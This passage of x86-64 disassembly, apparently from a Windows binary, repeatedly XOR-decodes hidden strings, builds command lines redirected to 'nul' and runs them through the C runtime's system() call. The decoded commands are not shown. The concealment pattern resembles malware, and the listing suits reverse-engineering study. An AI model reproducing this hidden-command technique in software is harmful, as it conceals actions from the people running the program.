mov r8, rdi
lea rcx, [rbp + 0x2720]
mov rdx, r10
call fcn.140083ca0
mov r8, rbx
lea rcx, [rbp + 0x2740]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2760]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2760]
call fcn.14003a690
lea rcx, [rbp + 0x2740]
call fcn.14003a690
lea rcx, [rbp + 0x2720]
call fcn.14003a690
lea rcx, [rbp + 0x2700]
call fcn.14003a690
lea rcx, [rbp + 0x26e0]
call fcn.14003a690
mov byte [0x14171914b], 0
cmp byte [0x141719195], 0
je 0x14005d895
mov edx, 8
lea rcx, [rbp + 0x2780]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x4233]
xor eax, eax
lea rcx, [rbp + 0x29]
mov byte [rbp + 0x29], al
call fcn.14007c350
mov r10, rax
cmp byte [rax + 0x35], 0
je 0x14005d651
mov r8d, esi
cmp r15d, 2
jl 0x14005d613
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005d520
cmp r8d, 0x36
jge 0x14005d651
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x14005d620
mov r8, rbx
lea rcx, [rbp + 0x27a0]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x27c0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x27c0]
call fcn.14003a690
lea rcx, [rbp + 0x27a0]
call fcn.14003a690
lea rcx, [rbp + 0x2780]
call fcn.14003a690
mov edx, 8
lea rcx, [rbp + 0x27e0]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x4269]
xor eax, eax
lea rcx, [rbp + 0x2a]
mov byte [rbp + 0x2a], al
call fcn.14007c390
mov r10, rax
cmp byte [rax + 0x35], 0
je 0x14005d831
mov r8d, esi
cmp r15d, 2
jl 0x14005d7f3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005d700
cmp r8d, 0x36
jge 0x14005d831
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x14005d800
mov r8, rbx
lea rcx, [rbp + 0x2800]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2820]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2820]
call fcn.14003a690
lea rcx, [rbp + 0x2800]
call fcn.14003a690
lea rcx, [rbp + 0x27e0]
call fcn.14003a690
mov byte [0x141719195], 0
cmp byte [0x141719149], 0
je 0x14005dcef
mov edx, 0xa
lea rcx, [rbp + 0x2840]
call fcn.140050ad0
mov edx, r13d
lea rcx, [rbp + 0x2860]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x4090]
xor eax, eax
lea rcx, [rbp + 0x2b]
mov byte [rbp + 0x2b], al
call fcn.14007c3d0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x14005da41
mov r8d, esi
cmp r15d, 2
jl 0x14005da03
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005d910
cmp r8d, 0x34
jge 0x14005da41
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x14005da10
mov r8, rdi
lea rcx, [rbp + 0x2880]
mov rdx, r10
call fcn.140083ca0
mov r8, rbx
lea rcx, [rbp + 0x28a0]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x28c0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x28c0]
call fcn.14003a690
lea rcx, [rbp + 0x28a0]
call fcn.14003a690
lea rcx, [rbp + 0x2880]
call fcn.14003a690
lea rcx, [rbp + 0x2860]
call fcn.14003a690
lea rcx, [rbp + 0x2840]
call fcn.14003a690
mov edx, 0xa
lea rcx, [rbp + 0x28e0]
call fcn.140050ad0
mov edx, r13d
lea rcx, [rbp + 0x2900]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x40c4]
xor eax, eax
lea rcx, [rbp + 0x2c]
mov byte [rbp + 0x2c], al
call fcn.14007c400
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x14005dc61
mov r8d, esi
cmp r15d, 2
jl 0x14005dc23
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005db30
cmp r8d, 0x34
jge 0x14005dc61
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x14005dc30
mov r8, rdi
lea rcx, [rbp + 0x2920]
mov rdx, r10
call fcn.140083ca0
mov r8, rbx
lea rcx, [rbp + 0x2940]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2960]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2960]
call fcn.14003a690
lea rcx, [rbp + 0x2940]
call fcn.14003a690
lea rcx, [rbp + 0x2920]
call fcn.14003a690
lea rcx, [rbp + 0x2900]
call fcn.14003a690
lea rcx, [rbp + 0x28e0]
call fcn.14003a690
mov byte [0x141719149], 0
cmp byte [0x141719194], 0
je 0x14005e0c5
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rbp + 0x2980]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x3f2b]
xor eax, eax
lea rcx, [rbp + 0x2d]
mov byte [rbp + 0x2d], al
call fcn.14007c430
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14005de81
mov r8d, esi
cmp r15d, 2
jl 0x14005de43
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005dd50
cmp r8d, 0x33
jge 0x14005de81
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14005de50
mov r8, rbx
lea rcx, [rbp + 0x29a0]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x29c0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x29c0]
call fcn.14003a690
lea rcx, [rbp + 0x29a0]
call fcn.14003a690
lea rcx, [rbp + 0x2980]
call fcn.14003a690
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rbp + 0x29e0]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x3f5e]
xor eax, eax
lea rcx, [rbp + 0x2e]
mov byte [rbp + 0x2e], al
call fcn.14007c470
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14005e061
mov r8d, esi
cmp r15d, 2
jl 0x14005e023
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005df30
cmp r8d, 0x33
jge 0x14005e061
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14005e030
mov r8, rbx
lea rcx, [rbp + 0x2a00]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2a20]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2a20]
call fcn.14003a690
lea rcx, [rbp + 0x2a00]
call fcn.14003a690
lea rcx, [rbp + 0x29e0]
call fcn.14003a690
mov byte [0x141719194], 0
cmp byte [0x14171914a], 0
je 0x14005e495
mov edx, 0xa
lea rcx, [rbp + 0x2a40]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x4194]
xor eax, eax
lea rcx, [rbp + 0x2f]
mov byte [rbp + 0x2f], al
call fcn.14007c4b0
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x14005e251
mov r8d, esi
cmp r15d, 2
jl 0x14005e214
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005e121
cmp r8d, 0x35
jge 0x14005e251
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x14005e220
mov r8, rbx
lea rcx, [rbp + 0x2a60]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2a80]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2a80]
call fcn.14003a690
lea rcx, [rbp + 0x2a60]
call fcn.14003a690
lea rcx, [rbp + 0x2a40]
call fcn.14003a690
mov edx, 0xa
lea rcx, [rbp + 0x2aa0]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x41c9]
xor eax, eax
lea rcx, [rbp + 0x30]
mov byte [rbp + 0x30], al
call fcn.14007c4f0
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x14005e431
mov r8d, esi
cmp r15d, 2
jl 0x14005e3f3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005e300
cmp r8d, 0x35
jge 0x14005e431
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x14005e400
mov r8, rbx
lea rcx, [rbp + 0x2ac0]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2ae0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2ae0]
call fcn.14003a690
lea rcx, [rbp + 0x2ac0]
call fcn.14003a690
lea rcx, [rbp + 0x2aa0]
call fcn.14003a690
mov byte [0x14171914a], 0
cmp byte [0x141719148], 0
je 0x14005e8ef
mov edx, 5
lea rcx, [rbp + 0x2b00]
call fcn.140050ad0
mov edx, ntohl
lea rcx, [rbp + 0x2b20]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x3f91]
xor eax, eax
lea rcx, [rbp + 0x31]
mov byte [rbp + 0x31], al
call fcn.14007c530
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14005e641
mov r8d, esi
cmp r15d, 2
jl 0x14005e603
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005e510
cmp r8d, 0x33
jge 0x14005e641
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14005e610
mov r8, rdi
lea rcx, [rbp + 0x2b40]
mov rdx, r10
call fcn.140083ca0
mov r8, rbx
lea rcx, [rbp + 0x2b60]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2b80]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2b80]
call fcn.14003a690
lea rcx, [rbp + 0x2b60]
call fcn.14003a690
lea rcx, [rbp + 0x2b40]
call fcn.14003a690
lea rcx, [rbp + 0x2b20]
call fcn.14003a690
lea rcx, [rbp + 0x2b00]
call fcn.14003a690
mov edx, 5
lea rcx, [rbp + 0x2ba0]
call fcn.140050ad0
mov edx, ntohl
lea rcx, [rbp + 0x2bc0]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x3fc4]
xor eax, eax
lea rcx, [rbp + 0x32]
mov byte [rbp + 0x32], al
call fcn.14007c570
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14005e861
mov r8d, esi
cmp r15d, 2
jl 0x14005e823
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005e730
